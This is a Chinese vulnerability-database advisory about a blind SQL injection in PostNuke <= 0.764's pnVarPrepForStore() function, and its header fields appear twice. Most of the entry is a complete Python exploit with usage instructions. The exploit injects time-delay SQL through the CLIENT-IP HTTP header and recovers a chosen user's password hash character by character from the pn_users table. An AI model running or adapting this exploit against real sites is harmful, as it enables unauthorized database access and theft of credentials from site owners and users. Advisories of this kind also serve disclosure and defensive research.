PostNuke pnVarPrepForStore()函数SQL注入漏洞
添加时间:
2008-10-04
系统编号:
WAVDB-01148
BUGTRAQ: 28407
影响版本:
PostNuke <= 0.764
程序介绍:
漏洞利用:
解决方案:
厂商补丁:
PostNuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.postnuke.com/
信息来源:
<*来源:The:Paradox *>
2008-10-04
系统编号:
WAVDB-01148
BUGTRAQ: 28407
影响版本:
PostNuke <= 0.764
程序介绍:
PostNuke是一款开放源码、开放开发的内容管理系统(CMS)。
漏洞分析:
PostNuke的pnVarPrepForStore()函数中存在SQL盲注漏洞,远程攻击者可能利用此漏洞非授权操作数据库。
以下是有漏洞部分的代码:
- function pnVarPrepForStore()
- $resarray = array();
- foreach (func_get_args() as $ourvar) {
- if (!get_magic_quotes_runtime() && !is_array($ourvar)) {
- $ourvar = addslashes($ourvar);
- }
- // Add to array
- array_push($resarray, $ourvar);
- }
- // Return vars
- if (func_num_args() == 1) {
- return $resarray[0];
- } else {
- return $resarray;
- }
- }
这个函数用于准备sql查询的变量,向给出的变量添加斜线。如果在服务器配置中打开了magic_quotes_runtime()的话,由于变量已经清除,因此脚本不会执行任何操作。这允许攻击者通过提交恶意的SQL查询请求执行SQL注入攻击。
漏洞利用:
- #!/usr/bin/python
- #=================================================================================================#
- # ____ __________ __ ____ __ #
- # /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
- # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
- # | | | \ | |/ \ \___| | /_____/ | || | #
- # |___|___| /\__| /______ /\___ >__| |___||__| #
- # \/\______| \/ \/ #
- #=================================================================================================#
- # This was a priv8 Exploit #
- #=================================================================================================#
- # Postnuke <= 0.764 #
- # Blind Sql Injection Vulnerability #
- # Benchmark Method #
- # #
- # Vendor: www.postnuke.com #
- # Severity: High #
- # Author: The:Paradox #
- #=================================================================================================#
- # Proud To Be Italian. #
- #====================================#============================================================#
- # Proof Of Concept / Bug Explanation # #
- #====================================# #
- # Postnuke presents a critical vulnerability in pnVarPrepForStore() function. Let's see source: #
- # #
- # #
- # 1. function pnVarPrepForStore() #
- # 2. { #
- # 3. $resarray = array(); #
- # 4. foreach (func_get_args() as $ourvar) { #
- # 5. if (!get_magic_quotes_runtime() && !is_array($ourvar)) { #
- # 6. $ourvar = addslashes($ourvar); #
- # 7. } #
- # 8. // Add to array #
- # 9. array_push($resarray, $ourvar); #
- # 10. } #
- # 11. // Return vars #
- # 12. if (func_num_args() == 1) { #
- # 13. return $resarray[0]; #
- # 14. } else { #
- # 15. return $resarray; #
- # 16. } #
- # 17. } #
- # #
- # This function is used to prepare vars for sql queries. It "add slashes" to given variables. #
- # But wat happens if get_magic_quotes_runtime() is On in Server Configuration? #
- # The script does nothing 'cause variables should be already cleaned. #
- # #
- # Whatever the script author didn't thought about Server Variables: they are untouched by #
- # magic_quotes_gpc and magic_quotes_runtime(). #
- # Therefore all Server Variables are not propelly checked with magic_quotes_runtime() On #
- # #
- # In this exploit I will inject Sql code in HTTP_CLIENT_IP header, see pnSessionInit() function. #
- #=================================================================================================#
- # Use this at your own risk. You are responsible for your own deeds. #
- #=================================================================================================#
- """
- Related Codes:
- function pnSessionInit()
- {
- $dbconn =& pnDBGetConn(true);
- $pntable =& pnDBGetTables();
- // First thing we do is ensure that there is no attempted pollution
- // of the session namespace
- foreach($GLOBALS as $k => $v) {
- if (substr($k,0,4) == 'PNSV') {
- return false;
- }
- }
- // Kick it
- session_start();
- // Have to re-write the cache control header to remove no-save, this
- // allows downloading of files to disk for application handlers
- // adam_baum - no-cache was stopping modules (andromeda) from caching the playlists, et al.
- // any strange behaviour encountered, revert to commented out code.
- // Header('Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0');
- Header('Cache-Control: cache');
- $sessid = session_id();
- // Get (actual) client IP addr
- $ipaddr = pnServerGetVar('REMOTE_ADDR');
- if (empty($ipaddr)) {
- $ipaddr = pnServerGetVar('HTTP_CLIENT_IP');
- }
- $tmpipaddr = pnServerGetVar('HTTP_CLIENT_IP');
- if (!empty($tmpipaddr)) {
- $ipaddr = $tmpipaddr;
- }
- $fwdipaddr = pnServerGetVar('HTTP_X_FORWARDED_FOR');
- if (!empty($fwdipaddr) AND strpos($fwdipaddr, ',') !== false) {
- $fwdipaddr = substr($fwdipaddr,0, strpos($fwdipaddr, ','));
- }
- $tmpipaddr = $fwdipaddr;
- if (!empty($tmpipaddr) AND strpos($tmpipaddr, ',') !== false) {
- $ipaddr = substr($tmpipaddr,0, strpos($tmpipaddr, ','));
- }
- $sessioninfocolumn = &$pntable['session_info_column'];
- $sessioninfotable = $pntable['session_info'];
- $query = "SELECT $sessioninfocolumn[ipaddr]
- FROM $sessioninfotable
- WHERE $sessioninfocolumn[sessid] = '" . pnVarPrepForStore($sessid) . "'";
- $result =& $dbconn->Execute($query);
- if ($dbconn->ErrorNo() != 0) {
- return false;
- }
- if (!$result->EOF) {
- // jgm - this has been commented out so that the nice AOL people
- // can view PN pages, will examine full implications of this
- // later
- // list($dbipaddr) = $result->fields;
- $result->Close();
- // if ($ipaddr == $dbipaddr) {
- pnSessionCurrent($sessid);
- // } else {
- // // Mismatch - destroy the session
- // session_destroy();
- // pnRedirect('index.php');
- // return false;
- // }
- } else {
- pnSessionNew($sessid, $ipaddr);
- // Generate a random number, used for
- // some authentication
- srand((double)microtime() * 1000000);
- pnSessionSetVar('rand', rand());
- }
- return true;
- }
- function pnSessionNew($sessid='', $ipaddr='')
- {
- $dbconn =& pnDBGetConn(true);
- $pntable =& pnDBGetTables();
- $sessioninfocolumn = &$pntable['session_info_column'];
- $sessioninfotable = $pntable['session_info'];
- $query = "INSERT INTO $sessioninfotable
- ($sessioninfocolumn[sessid],
- $sessioninfocolumn[ipaddr],
- $sessioninfocolumn[uid],
- $sessioninfocolumn[firstused],
- $sessioninfocolumn[lastused])
- VALUES
- ('" . pnVarPrepForStore($sessid) . "',
- '" . pnVarPrepForStore($ipaddr) . "', <-- Injection! =)
- 0,
- " . time() . ",
- " . time() . ")";
- $dbconn->Execute($query);
- if ($dbconn->ErrorNo() != 0) {
- return false;
- }
- return true;
- }
- """
- #=================================================================================================#
- # Python Exploit Starts #
- #=================================================================================================#
- from httplib import HTTPConnection
- from time import time
- from sys import exit, argv, stdout
- print """
- #=================================================================#
- # Postnuke <= 0.764 #
- # Blind Sql Injection Vulnerability #
- # Benchmark Method #
- # #
- # Discovered By The:Paradox #
- # #
- # Usage: #
- # ./pwnpn [Target] [Path] [User_id] #
- # #
- # Example: #
- # ./pwnpn localhost /PostNuke/ 2 #
- # ./pwnpn www.host.com / 2 #
- #=================================================================#
- """
- if len(argv)<=3: exit()
- else: print "[.]Exploit Starting."
- prefix = "pn_"
- benchmark = "230000000"
- vtime = 6
- port = 80
- target = argv[1]
- path = argv[2]
- uid = argv[3]
- j=1
- h4sh = ""
- ht = []
- for k in range(48,58):
- ht.append(k)
- for k in range(97,103):
- ht.append(k)
- ht.append(0)
- # Result Query:
- # INSERT INTO pn_session_info( pn_session_info.pn_sessid, pn_session_info.pn_ipaddr, pn_session_info.pn_uid, pn_session_info.pn_firstused, pn_session_info.pn_lastused )
- # VALUES ('6bc3cf4c67bb4c3b24bdd38dcd8e1b5b', '127.0.0.1', (SELECT IF((ASCII(SUBSTRING(PASSWORD,1,1))=48),benchmark(300000000, CHAR(0)), 0)
- # FROM pn_users WHERE pn_uid =1)/*', 0, 0, 0)
- print "[.]Blind Sql Injection Starts.\n\nHash:"
- while j <= 32:
- for i in ht:
- if i == 0: exit('[-]Exploit Failed.\n')
- start = time()
- conn = HTTPConnection(target,port)
- conn.request("GET", path + "index.php", {}, {"Accept": "text/plain","CLIENT-IP": "127.0.0.1',(SELECT IF((ASCII(SUBSTRING(pn_pass," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE pn_uid=" + uid + "), 0, 0)/*"})
- response = conn.getresponse()
- read = response.read()
- if response.status == 404: exit('[-]Error 404. Not Found.')
- now = time()
- if now - start > vtime:
- stdout.write(chr(i))
- stdout.flush()
- h4sh += chr(i)
- j += 1
- break;
- print "\n\n[+]All Done.\n-=Paradox Got This One=-"
解决方案:
厂商补丁:
PostNuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.postnuke.com/
信息来源:
<*来源:The:Paradox *>